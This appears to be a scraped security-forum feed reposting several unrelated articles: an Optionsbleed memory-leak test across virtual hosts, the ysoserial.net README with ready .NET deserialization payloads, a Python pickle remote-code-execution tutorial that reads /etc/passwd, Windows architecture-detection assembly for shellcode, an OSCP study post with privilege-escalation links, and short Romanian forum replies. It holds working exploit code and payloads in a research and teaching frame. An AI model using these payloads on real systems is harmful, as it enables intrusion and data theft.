901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789> Allow from all </Limit> It’s three entries of different lengths: 100, 3000, and 2000. After multiple OPTIONS requests I got this: Definitely good length, but the content is uninteresting. I let Burp Intruder continue to make OPTIONS requests while I submitted a test POST request on Site2. While the POST on Site2 was successful, my OPTIONS requests running on Site1 began generating 500 errors. I looked at the error log on Site1 and saw multiple entries of varying content that looked like the following: [Thu Sep 21 23:45:44.990337 2017] [http:error] [pid 74566] [client 192.168.1.234:62875] AH02430: Response header 'Allow' value of 'GET,OPTIONS,POST,HEAD,0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901(@\xe8\x0f\xb2\x7f' contains invalid characters, aborting requ It appeared that some of the non-ASCII content it was grabbing from memory was making the request invalid to Apache, resulting in the 500 error. I figured it was a long-shot but I tried HttpProtocolOptions Unsafe to see if it could be returned to the client but some of the characters were still considered invalid. Nevertheless, I figured it didn’t matter much given the more viable attack vector would be a malicious actor modifying the .htaccess file on their virtual host of a shared hosting environment. It would stand to reason that they would also have access to their own web server error logs as well (and wouldn’t need to rely on data returned to the client). So, now I wanted to see if it was possible to access the POST data from Site2 in the error log of Site1 by modifying the .htaccess file further. After a bit of trial and error, I was able to consistently obtain POST data from Site2 in Site1’s error logs by doing the follow: First, I used the earlier .htaccess file with the initial set of three varying length numerical strings (100, 3000, 2000) and made a few thousand OPTIONS requests via Burp Intruder. Then, I switched up the .htaccess file to read as follows: 1 2 3 <Limit 0123456789 0123456789 0123456789> Allow from all </Limit> I left Burp Intruder OPTIONS requests running on Site1 with this .htaccess file, which began to generate 500 errors. While that was running, I submitted the following request to the PHP page on Site2: And here’s what I got in the error log on Site1: If you try to replicate this, you may get different results, especially if you deviate in length for either the .htaccess entries or the POST request on virtual host 2. Obviously, in an attack scenario, only the .htacess file would be under the bad actor’s control and the POST request on another virtual host would be unpredictable in content and length. However, I did find that varying lengths still resulted in data captured in the error log…it just may not be consistent. Experiment to see for yourself. UPDATE #1: I intentionally didn’t speculate on whether these test results are in any way significant simply because I may be missing something that would make this impractical in un-patched environments. Most organizations aren’t likely going to have exposed shared hosting environments in their own network anyway (and if they do provide the ability for untrusted actors to modify .htaccess on their servers they have bigger problems). For those that have web applications hosted by external hosting providers, my test environment may have been too simple or I might be missing a key consideration regarding shared memory and the typical multi-tenant hosting environment. In any event, I figured I would share these results in case it’s helpful for others to investigate further and either replicate or disprove the results. UPDATE #2: I have been able to get the POST data from Site2 to return directly to the client without generating an error fairly consistently by swapping out the values in the .htaccess file multiple times while the OPTIONS requests are running. Here is what has been working for me: Start running the OPTIONS requests on Site1 using Intruder (I just let it run for 99,999 requests) using the 100, 3000, 2000 length values in .htaccess. Modify .htaccess to use the three smaller 0123456789, 0123456789, 0123456789 values as shown previously. Switch back to the 100, 3000, 2000 lengths. Modify the .htaccess file again ,this time using ten 0123456789 values. Submit the POST request on Site2. Below is the result in *most* cases Again, keep in mind that this is partly dependent upon the length of the POST request submitted on site 2. You can adjust the length of the testdata string to see how your results vary. Until next time, Mike Follow @securitysift Sursa: https://www.securitysift.com/testing-optionsbleed/

ysoserial.net A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization. Description ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host. It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath. This project is inspired by Chris Frohoff's ysoserial project Disclaimer This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly. This software is a personal project and not related with any companies, including Project owner and contributors employers. Usage $ ./ysoserial -h ysoserial.net generates deserialization payloads for a variety of .NET formatters. Available formatters: ActivitySurrogateSelector (ActivitySurrogateSelector gadget by James Forshaw. This gadget ignores the command parameter and executes the constructor of ExploitClass class.) Formatters: BinaryFormatter ObjectStateFormatter SoapFormatter LosFormatter ObjectDataProvider (ObjectDataProvider Gadget by Oleksandr Mirosh and Alvaro Munoz) Formatters: Json.Net FastJson JavaScriptSerializer PSObject (PSObject Gadget by Oleksandr Mirosh and Alvaro Munoz. Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)) Formatters: BinaryFormatter ObjectStateFormatter SoapFormatter NetDataContractSerializer LosFormatter TypeConfuseDelegate (TypeConfuseDelegate gadget by James Forshaw) Formatters: BinaryFormatter ObjectStateFormatter NetDataContractSerializer LosFormatter Usage: ysoserial.exe [options] Options: -o, --output=VALUE the output format (raw|base64). -g, --gadget=VALUE the gadget chain. -f, --formatter=VALUE the formatter. -c, --command=VALUE the command to be executed. -t, --test whether to run payload locally. Default: false -h, --help show this message and exit Examples $ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd','/ccalc'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLCBWZXJzaW9uPTMuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUBAAAAJVN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNPYmplY3QBAAAABkNsaVhtbAECAAAABgMAAACJFQ0KPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4mI3hEOw0KPE9iaiBSZWZJZD0iMCI+JiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uL1J1bnNwYWNlSW52b2tlNTwvVD4mI3hEOw0KICAgICAgPFQ+TWljcm9zb2Z0Lk1hbmFnZW1lbnQuSW5mcmFzdHJ1Y3R1cmUuQ2ltSW5zdGFuY2UjUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZTwvVD4mI3hEOw0KICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgIDwvVE4+JiN4RDsNCiAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgIDxPYmogUmVmSWQ9IjEiPiYjeEQ7DQogICAgICA8VE5SZWYgUmVmSWQ9IjAiIC8+JiN4RDsNCiAgICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgICA8UHJvcHM+JiN4RDsNCiAgICAgICAgPE5pbCBOPSJQU0NvbXB1dGVyTmFtZSIgLz4mI3hEOw0KCQk8T2JqIE49InRlc3QxIiBSZWZJZCA9IjIwIiA+ICYjeEQ7DQogICAgICAgICAgPFROIFJlZklkPSIxIiA+ICYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcltdLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9UPiYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uQXJyYXk8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPFMgTj0iSGFzaCIgPiAgDQoJCSZsdDtSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSImZ3Q7DQoJICZsdDtPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgJmd0Ow0KICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnMmZ3Q7DQogICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0O2NtZCZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgJmx0O1N5c3RlbTpTdHJpbmcmZ3Q7L2MgImNhbGMiICZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAmbHQ7L09iamVjdERhdGFQcm92aWRlciZndDsNCiZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KCQkJPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4mI3hEOw0KICAgICAgICA8T2JqIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIj4gJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiID4gJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3Q8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPE9iaiBSZWZJZD0iMyI+ICYjeEQ7DQogICAgICAgICAgICAgIDxNUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49IkNsYXNzTmFtZSI+UnVuc3BhY2VJbnZva2U1PC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPFMgTj0iTmFtZXNwYWNlIj5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uPC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPE5pbCBOPSJTZXJ2ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgICAgICAgICAgPEkzMiBOPSJIYXNoIj40NjA5MjkxOTI8L0kzMj4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik1pWG1sIj4gJmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSIgJmd0OyZsdDtQUk9QRVJUWSBOQU1FPSJ0ZXN0MSIgVFlQRSA9InN0cmluZyIgJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hEOw0KICA8L09iaj4mI3hEOw0KPC9PYmpzPgs= Contributing Fork it Create your feature branch (git checkout -b my-new-feature) Commit your changes (git commit -am 'Add some feature') Push to the branch (git push origin my-new-feature) Create new Pull Request Additional Reading Are you my Type? Friday the 13th: JSON Attacks - Slides Friday the 13th: JSON Attacks - Whitepaper Exploiting .NET Managed DCOM Sursa: https://github.com/pwntester/ysoserial.net

Explaining and exploiting deserialization vulnerability with Python (EN) Sat 23 September 2017 Dan Lousqui Deserialization? Even though it was neither present in OWASP TOP 10 2013, nor in OWASP TOP 10 2017 RC1, Deserialization of untrusted data is a very serious vulnerability that we can see more and more often on current security disclosures. Serialization and Deserialization are mechanisms used in many environment (web, mobile, IoT, ...) when you need to convert any Object (it can be an OOM, an array, a dictionary, a file descriptor, ... anything) to something that you can put "outside" of your application (network, file system, database, ...). This conversion can be in both way, and it's very convenient if you need to save or transfer data (Ex: share the status of a game in multilayer game, create an "export" / "backup" file in a project, ...). However, we will see in this article how this kind of behavior can be very dangerous... and therefore, why I think this vulnerability will be present in OWASP TOP 10 2017 RC2. In python? With python, the default library used to serialize and deserialize objects is pickle. It is a really easy to use library (compared to something like sqlite3) and very convenient if you need to persist data. For example, if you want to save objects: import pickle import datetime my_data = {} my_data['last-modified'] = str(datetime.datetime.now()) my_data['friends'] = ["alice", "bob"] pickle_data = pickle.dumps(my_data) with open("backup.data", "wb") as file: file.write(pickle_data) That will create a backup.data file with the following content: last-modifiedqX2017-09-23 00:23:29.986499qXfriendsq]q(XaliceqXbobqeu. And if you want to retrieve your data with Python, it's easy: import pickle with open("backup.data", "rb") as file: pickle_data = file.read() my_data = pickle.loads(pickle_data) my_data # {'friends': ['alice', 'bob'], 'last-modified': '2001-01-01 01:02:03.456789'} Awesome, isn't it? Introducing... Pickle pRick ! In order to illustrate the awesomeness of pickle in term of insecurity, I developed a vulnerable application. You can retrieve the application on the TheBlusky/pickle-prick repository. As always with my Docker, just execute the build.sh or build.bat script, and the vulnerable project will be launched. This application is for Ricks, from the Rick and Morty TV show. For those who don't know this show (shame ...) Rick is a genius scientist who travel between universes and planets for great adventures with his grand son Morty. The show implies many multiverse and time-travel dilemma. Each universe got their own Rick, so I developed an application for every Rick, so they can trace their adventures by storing when, where and with who they travelled. Each Ricks must be able to use the application, and the data should never be stored on the server, so one Rick cannot see the data of other Ricks. In order to do that, Rick can export his agenda into a pickle_rick.data file that can be imported later. Obviously, this application is vulnerable (Rick would not offer other Ricks this kind of gift without a backdoor ...). If you don't want to be spoiled, and want to play a little game, you should stop reading this article and try to launch the application (locally), and try to pwn it (Without looking at the exploit folder obviously, ...) What's wrong with Pickle? pickle (like any other serialization / deserialization library) provides a way to execute arbitrary command (even if few developers know it). In order to do that, you simply have to create an object, and to implement a __reduce__(self) method. This method should return a list of n elements, the first being a callable, and the others arguments. The callable will be executed with underlying arguments, and the result will be the "unserialization" of the object. For exemple, if you save the following pickle object: import pickle import os class EvilPickle(object): def __reduce__(self): return (os.system, ('echo Powned', )) pickle_data = pickle.dumps(EvilPickle()) with open("backup.data", "wb") as file: file.write(pickle_data) And then later, try to deserialize the object : import pickle with open("backup.data", "rb") as file: pickle_data = file.read() my_data = pickle.loads(pickle_data) A Powned will be displayed with the loads function, as echo Powned will be executed. It's easy then to imagine what we can do with such a powerful vulnerability. The exploit In the pickle-prick application, pickle is used in order to retrieve all adventures: async def do_import(request): session = await get_session(request) data = await request.post() try: pickle_prick = data['file'].file.read() except: session['errors'] = ["Couldn't read pickle prick file."] return web.HTTPFound('/') prick = base64.b64decode(pickle_prick.decode()) session['adventures'] = [i for i in pickle.loads(prick)] return web.HTTPFound('/') So if we upload a malicious pickle, it will be executed. However, if we want to be able to read the result of a code execution, the __reducer__ callable, must return an object that meets with adventures signature (which is an array of dictionary having a date, universe, planet and a morty). In order to do that, we will use the vulnerability twice: a first time to upload a malicious python code, and a second time to execute it. 1. Generating a payload to generate a payload We want to upload a python file that contain a callable that meets adventures signature and will be executed on the server. Let's write an evil_rick_shell.py file with such a code: def do_evil(): with open("/etc/passwd") as f: data = f.readlines() return [{"date": line, "dimension": "//", "planet": "//","morty": "//"} for line in data] Now, let's create a pickle that will write this file on the server: import pickle import base64 import os class EvilRick1(object): def __reduce__(self): with open("evil_rick_shell.py") as f: data = f.readlines() shell = "\n".join(data) return os.system, ("echo '{}' > evil_rick_shell.py".format(shell),) prick = pickle.dumps(EvilRick1()) if os.name == 'nt': # Windows trick prick = prick[0:3] + b"os" + prick[5:] pickle_prick = base64.b64encode(prick).decode() with open("evil_rick1.data", "w") as file: file.write(pickle_prick) This pickle file will trigger an echo '{payload}' > evil_rick_shell.py command on the server, so the payload will be installed. As the os.system callable does not meet with adventure signature, uploading the evil_rick1.data should return a 500 error, but it will be too late for any security 2. Generating a payload to execute a payload Now let's create a pickle object that will call the evil_rick_shell.do_evil callable: import pickle import base64 import evil_rick_shell class EvilRick2(object): def __reduce__(self): return evil_rick_shell.do_evil, () prick = pickle.dumps(EvilRick2()) pickle_prick = base64.b64encode(prick).decode() with open("evil_rick2.data", "w") as file: file.write(pickle_prick) The evil_rick_shell.do_evil callable meeting with adventure signature, uploading the evil_rick2.data should be fine, and should add each line of the /etc/passwd file as an adventure. Build it all together Once both payloads are generated, simply upload the first one, then the second one, and you should be able to have this amazing screen: We can see that the do_evil() payload has been triggered, and we can see the content of /etc/passwd file. Even though the content of this file is not (really) sensitive, it's quite easy to imagine something more evil to be executed on Rick's server. How to protect against it It's simple... don't use pickle (or any other "wannabe" universal and automatic serializer) if you are going to parse untrusted data with it. It's not that hard to write your own convert_data_to_string(data) and convert_string_to_data(string) functions that won't be able to interpret forged object with malicious code within. I hope you enjoyed this article, and have fun with it Dan Lousqui IT Security Senior Consultant, developer, open source enthousiast, and so much more ! Sursa: https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html

Screenshots Description IMPORTANT: This app works with Windows 10 Pro and Home but not with Windows 10 S. We've updated WinDbg to have more modern visuals, faster windows, a full-fledged scripting experience, and Time Travel Debugging, all with the easily extensible debugger data model front and center. WinDbg Preview is using the same underlying engine as WinDbg today, so all the commands, extensions, and workflows you're used to will still work as they did before. See http://aka.ms/windbgblog and https://go.microsoft.com/fwlink/p/?linkid=854349 for more information! Sursa: https://www.microsoft.com/en-us/store/p/windbg-preview/9pgjgd53tn86

September 24, 2017 Detecting Architecture in Windows Leave a comment After a while I thought of posting something interesting I noticed. Some of you know this old method of detecting the architecture using the CS segment register. This was also used in the Kronos malware 1 2 3 xor eax,eax mov ax,cs shr eax,5 I had a look at the segment registers last night and I found out that we can use ES, GS and FS segment registers for detecting the architecture as well. Using ES 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ; Author : @OsandaMalith main: xor eax,eax mov ax,es ror ax, 0x3 and eax,0x1 test eax, eax je thirtytwo invoke MessageBox,0, 'You are Running 64-bit', 'Architecture', MB_OK + MB_ICONINFORMATION jmp exit thirtytwo: invoke MessageBox,0, 'You are Running 32-bit', 'Architecture', MB_OK + MB_ICONINFORMATION exit: invoke ExitProcess, 0 Using GS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ; Author : @OsandaMalith main: xor eax, eax mov eax, gs test eax, eax je thirtytwo invoke MessageBox,0, 'You are Running 64-bit', 'Architecture', MB_OK + MB_ICONINFORMATION jmp exit thirtytwo: invoke MessageBox,0, 'You are Running 32-bit', 'Architecture', MB_OK + MB_ICONINFORMATION exit: invoke ExitProcess, 0 .end main Using TEB Apart from that, you can also use TEB + 0xc0 entry which is ‘WOW32Reserved’. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ; Author : @OsandaMalith main: xor eax, eax mov eax, [FS:0xc0] test eax, eax je thirtytwo invoke MessageBox,0, 'You are Running 64-bit', 'Architecture', MB_OK + MB_ICONINFORMATION jmp exit thirtytwo: invoke MessageBox,0, 'You are Running 32-bit', 'Architecture', MB_OK + MB_ICONINFORMATION exit: invoke ExitProcess, 0 .end main I included all in one and coded a small C application. I’m sure there might be many other tricks to detect the architecture. This might come handy in shellcoding #include <Windows.h> #include <wchar.h> /* * Author: Osanda Malith Jayathissa - @OsandaMalith * Website: https://osandamalith.com * Description: Few tricks that you can use to detect the architecture in Windows * Link : http://osandamalith.com/2017/09/24/detecting-architecture-in-windows/ */ BOOL detectArch_ES() { #if defined(_MSC_VER) _asm { xor eax, eax mov ax, es ror ax, 0x3 and eax, 0x1 } #elif defined(__GNUC__) asm( ".intel_syntax noprefix;" "xor eax, eax;" "mov ax, es;" "ror ax, 0x3;" "and eax, 0x1;" ); #endif } BOOL detectArch_GS() { #if defined(_MSC_VER) _asm { xor eax, eax mov ax, gs } #elif defined(__GNUC__) asm( ".intel_syntax noprefix;" "xor eax, eax;" "mov ax, gs;" ); #endif } BOOL detectArch_TEB() { #if defined(_MSC_VER) _asm { xor eax, eax mov eax, fs:[0xc0] } #elif defined(__GNUC__) asm( ".intel_syntax noprefix;" "xor eax, eax;" "mov eax, fs:[0xc0];" ); #endif } int main(int argc, char* argv[]) { wprintf( !detectArch_ES() ? L"You are Running 32-bit\n" : L"You are Running 64-bit\n" ); wprintf( !detectArch_GS() ? L"You are Running 32-bit\n" : L"You are Running 64-bit\n" ); wprintf( !detectArch_TEB() ? L"You are Running 32-bit\n" : L"You are Running 64-bit\n" ); return 1337; } view raw detectArch.c hosted with by GitHub Sursa: https://osandamalith.com/2017/09/24/detecting-architecture-in-windows/

OSCP Certification by ciaranmcnally Given I have been working in information security for the past few years, I became well aware of the different certifications available as a means of professional development. The certification that stood out as gaining the most respect from the security community seemed to be the “(OSCP) Offensive Security Certified Professional” certificate, I witnessed this time and time again in conversations online. The reason often given is that it is a tough 24 hour practical exam vs a multiple choice questionnaire like many other security certificates. The OSCP is also listed regularly as a desirable requirement for many different kinds of infosec engineering jobs. I recently received confirmation that I have successfully achieved this certification. To anyone interested in pursuing the OSCP, I would completely encourage it. There is no way you can come away from this experience without adding a few new tricks or tools to your security skills arsenal and aside from all of that, it’s also very fun. This certificate will demonstrate to clients or to any potential employer that you have a good wide understanding of penetration testing with a practical skill-set to back up the knowledge. I wanted to get this as I’ve had clients in the past not follow up on using my services due to me not having any official security certificates (especially CREST craving UK based customers). Hopefully this opens up some doors to new customers. Before undertaking this course I already had a lot of experience performing vulnerability assessments and penetrations tests, I also had a few CVEs under my belt and have been quite active in the wider information security community by creating tools, taking part in bug bounties and being a fan of responsible disclosure in general. I found the challenge presented by this exam to be quite humbling and very much a worthwhile engagement. I would describe the hacking with kali course materials and videos as very entry-level friendly which is perfect for someone with a keen interest looking to learn the basics of penetration testing. The most valuable part of the course for those already familiar with the basics is the interactive lab environment, this is an amazing experience and it’s hard not to get excited thinking about it. There were moments of frustration and teeth-grinding but it was a very enjoyable way to sharpen skills and try out new techniques or tools. I signed up for the course initially a full year ago while working full time on contracts and found it extremely difficult to find the time to work on the labs as I had multiple ongoing projects and was doing bug bounties quite actively too. I burnt out fairly quick and didn’t concentrate on it at all. I did one or two of the “known to be hard” machines in the labs fairly easily which convinced me I was ready and sat the exam having compromised less than 10 of the lab hosts. This was of course silly and I only managed 2 roots and one local access shell which wasn’t near enough points to pass and very much dulled my arrogance at the time. I didn’t submit an exam report and decided to focus on my contracts and dedicate my time to the labs properly at a later date. Fast forward over a year later to the start of this month (September) and I had 2 weeks free that I couldn’t get contract work for. So I purchased a lab extension with the full intention of dedicating my time completely to obtaining this certificate. In the two weeks I got around 20 or so lab machines and set the date for my first real exam attempt. This went well but I didn’t quite make it over the line. I rooted 3 machines and fell short of privilege escalating on a 4th windows host. I was so close and possibly could have passed if I did the lab report and exercises, however this time around I wasn’t upset by the failure and became more determined than ever to keep trying. I booked another 2 weeks in the labs, focused on machines with manual windows privilege escalation and booked my next exam sitting, successfully nailing it. As I had learned a lot of penetration testing skills doing bug bounties, I found that it was very easy to identify and gain remote access to the lab machines, I usually gained remote shell access within the first 20 or 30 minutes for the large majority of the attempted targets. I very quickly found out that my weakest area was local privilege escalation. During my contract engagements, it is a regular occurrence that my clients request I don’t elevate any further with a remote code execution issue on a live production environment. This activity is also greatly discouraged in bug bounties so I can very much see why I didn’t have much skill in this area. The OSCP lab environment taught me a large amount of techniques and different ways of accomplishing this. I feel I have massively skilled up with regard to privilege escalation on Linux or Windows hosts. I’m very happy to join the ranks of the (OSCP) Offensive Security Certified Professionals and would like to thank anyone who helped me on this journey by providing me with links to quality material produced by the finest of hackers. Keeping the hacker knowledge sharing mantra in mind, below is a categorized list of very useful resources I have used during my journey to achieving certification. I hope these help you to overcome many obstacles by trying harder! Mixed https://www.nop.cat/nmapscans/ https://github.com/1N3/PrivEsc https://github.com/xapax/oscp/blob/master/linux-template.md https://github.com/xapax/oscp/blob/master/windows-template.md https://github.com/slyth11907/Cheatsheets https://github.com/erik1o6/oscp/ https://backdoorshell.gitbooks.io/oscp-useful-links/content/ https://highon.coffee/blog/lord-of-the-root-walkthrough/ MsfVenom https://www.offensive-security.com/metasploit-unleashed/msfvenom/ https://netsec.ws/?p=331 Shell Escape Techniques https://netsec.ws/?p=337 https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells https://airnesstheman.blogspot.ca/2011/05/breaking-out-of-jail-restricted-shell.html https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells Pivoting http://www.fuzzysecurity.com/tutorials/13.html http://exploit.co.il/networking/ssh-tunneling/ https://www.sans.org/reading-room/whitepapers/testing/tunneling-pivoting-web-application-penetration-testing-36117 https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/ https://www.offensive-security.com/metasploit-unleashed/portfwd/ Linux Privilege Escalation https://0x90909090.blogspot.ie/2015/07/no-one-expect-command-execution.html https://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/\#gref https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://github.com/mzet-/linux-exploit-suggester https://github.com/SecWiki/linux-kernel-exploits https://highon.coffee/blog/linux-commands-cheat-sheet/ https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt https://github.com/lucyoa/kernel-exploits https://www.rebootuser.com/?p=1758 https://www.securitysift.com/download/linuxprivchecker.py https://www.youtube.com/watch?v=dk2wsyFiosg https://www.youtube.com/watch?v=2NMB-pfCHT8https://www.youtube.com/watch?v=1A7yJxh-fyc https://blog.cobaltstrike.com/2014/03/20/user-account-control-what-penetration-testers-should-know/ https://github.com/foxglovesec/RottenPotato https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py https://github.com/pentestmonkey/windows-privesc-check https://github.com/PowerShellMafia/PowerSploit https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/ATT%26CK-Stuff/Windows/Windows_Privilege_Escalation.md https://github.com/SecWiki/windows-kernel-exploits https://hackmag.com/security/elevating-privileges-to-administrative-and-further/ https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/ https://toshellandback.com/2015/11/24/ms-priv-esc/ https://www.gracefulsecurity.com/privesc-unquoted-service-path/ https://www.commonexploits.com/unquoted-service-paths/ https://www.exploit-db.com/dll-hijacking-vulnerable-applications/ https://www.youtube.com/watch?v=kMG8IsCohHA&feature=youtu.be Sursa: https://securit.ie/blog/?p=70

Nu stiu cine sunt, nu am auzit de ei, dar din moment ce e gratuit si ei nu au nimic de castigat (doar din donatii), mi se pare o idee OK.

Se mai intampla, nu e chiar asa grav, cred.

Ce hateri sunteti, oamenii incearca sa faca ceva util. Stati sa crape filelist sa vedeti ce o sa mai cautati asta...

NetRipper has now support for Chrome x64 SSL Hook (last) version https://github.com/NytroRST/NetRipper/

